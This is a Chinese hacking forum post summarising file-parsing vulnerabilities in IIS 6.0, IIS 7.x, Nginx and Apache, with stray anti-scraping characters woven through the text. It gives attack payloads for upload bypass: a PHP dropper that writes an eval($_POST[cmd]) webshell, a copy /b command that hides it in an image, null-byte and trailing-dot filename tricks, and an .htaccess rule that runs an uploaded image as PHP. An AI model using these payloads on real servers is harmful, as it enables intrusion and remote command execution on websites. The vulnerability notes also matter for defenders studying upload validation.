找回密码
 立即注册
查看: 3512|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain5 T2 V. q% s& l, F: H
[+]IIS6.0
5 Z+ z, h$ j2 D. v6 a" \; z1 ?
5 T% w. U" o/ ]1 m( P目录解析:/xx.asp/xx.jpg - y1 k4 u: l/ \+ Y4 q1 S9 J1 z
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
; b5 |0 o$ y$ G. A& s" W* }; a9 T3 u# ^ IIS6.0 会将 xx.jpg 解析为 asp 文件。1 }- E2 d; X2 S* L
后缀解析:/xx.asp;.jpg     
  [' S* V4 P$ W" E IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
% j% I0 `% a+ l0 O+ I, F/ y# @$ s默认解析:/xx.asa
$ j: K; A; ]2 K1 i% `         /xx.cer3 I6 G' Z' ^  ^6 b
         /xx.cdx
5 H& E2 b3 p: {$ B- F2 Z8 D IIS6.0 默认的可执行文件除了 asp 还包含这三种
" N: n  y# w& N2 @( z$ W( Q+ d 此处可联系利用目录解析漏洞 . E2 i% j- J  s, }
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg/ K- N* A% ?3 T, Z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
6 Q7 G5 E6 w9 H2 K; ^7 o1 ~
3 N6 y3 w+ L; h. _ IIS 7.0/IIS 7.5/Nginx <0.8.03' W. Y6 [" _: c4 z, G! q1 [
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面7 C* r5 t" z2 Z( P
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。& R) N4 @  w) s* M8 _
常用利用方法:" Y# ^! a/ a: u/ _
将一张图和一个写入后门代码的文本文件合并将恶意文本' F, X& q( Q2 G1 n+ g# f
写入图片的二进制代码之后,避免破坏图片文件头和尾" L1 O( }, j3 W0 y5 m! t+ k+ E
如:) p3 ~0 U) V, a0 G2 G0 z0 I5 I
copy xx.jpg /b + yy.txt/a xy.jpg. c% i% X7 q8 R( C; Y8 k
#########################################################! b2 ]' T8 P( U6 K" l+ s9 I
/b 即二进制[binary]模式6 h% E; O) G$ z5 X
/a 即ascii模式
; g& B7 l$ H0 [4 Y2 w xx.jpg 正常图片文件
* s* j* F/ b2 s yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
) D( c' I0 w$ a% h% M+ u* o '<?php eval($_POST[cmd])?>');?>/ _) r% \* S+ n+ F$ F2 S  _
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
3 O9 F0 x6 A9 L1 l6 A" | 为shell.php的文件
) l/ h9 ?3 V5 K1 G! P# r0 N, m. U ###########################################################
6 ]  p0 e6 `2 t9 ]! j% G 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
0 o7 ^) ?. B) I- A" k$ J 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php : ~6 `+ Q" w' t8 s0 Y" H! H4 I9 v4 r
密码 cmd9 A+ B' q: t+ V
[+]Nginx <0.8.03
& K8 z% S# O6 |* Y / S5 q: S. O* R0 q* g" N% I
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
1 {  L4 o4 n; v+ q6 S* u: N 在一个文件路径(/xx.jpg)后面加上%00.php  e% m/ j  X) `. A  u! \
会将 /xx.jpg%00.php 解析为 php 文件。- X; t$ A$ v, t& o# z1 i
[+]Apache<0.8.03
& {" r& s  a( `
, j0 a9 \  ~! N, u$ B 后缀解析:test.php.x1.x2.x33 g5 ?( @7 p/ U# O
Apache将从右至左开始判断后缀,若x3非可识别后缀,
( Z3 m' X: l7 w% X, }) D- l5 T4 \ 再判断x2,直到找到可识别后缀为止,然后将该可识别
3 E* E' E- t* ]7 s 后缀进解析test.php.x1.x2.x3 则会被解析为php7 @! E* h7 t3 s7 b, ^; }  T6 F
经验之谈:php|php3|phtml 多可被Apache解析。# a' s7 t& h$ _2 e
[+]其他一些可利用的9 D" K) i9 n+ F* P
2 p& @/ D4 {1 [) `
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的* C4 g& C  D- i# B: p# K) p
若这样命名,windows会默认除去空格或点,这也是可以被利用的!6 p- w5 X0 ]) \  F
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
! [* l9 T) Z" G3 X, l! M或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
+ @: }/ N) m6 v8 f" W' \得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。+ T. k8 i) v; Z- L! i
{Linux主机中不行,Linux允许这类文件存在}
7 V. Y2 _( T8 z4 b5 h% _如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
: A/ z- K& R: _& e的,当初我并不知道),且可以被上传,那可以尝试在4 A6 `# z- ]* J
.htaccess中写入:
6 Z2 _8 G) |0 J<FilesMatch “shell.jpg”> / R8 L3 P% s! t7 Z
SetHandler application/x-httpd-php
& h/ O* `5 N  p$ D4 ?3 [& F4 Q</FilesMatch>. s" H3 z5 h$ N* f6 \$ \0 i9 ]
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
& g7 U1 k# k; b! e2 b[+]错误修改
1 K. q. |1 _2 ~# R; @2 U* A 9 I$ u: V" i$ R  x. {' p
在 IIS 6.0 下可解析 /xx.asp:.jpg: x/ ]8 S9 R. {
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
* X1 X' {  e% p0 n剩下/xx.asp}修改:6 W5 }/ j, P. ^& m' w3 R0 `
先谢谢核攻击的提醒
. `. C" b: e1 d7 a& h. g% a; `8 T8 {当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
. w) h$ G8 W8 h; _' z里是没有任何内容的,因为。。不好解释 大家自己看5 P0 _2 t  r2 x' H- m
http://lcx.cc/?i=2448
& B, i$ K) H5 r2 d* |http://baike.baidu.com/view/3619593.htm# H4 p) Q1 {. Z, m/ M+ ], j

, B2 ^5 C+ Y( n; S! a! |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表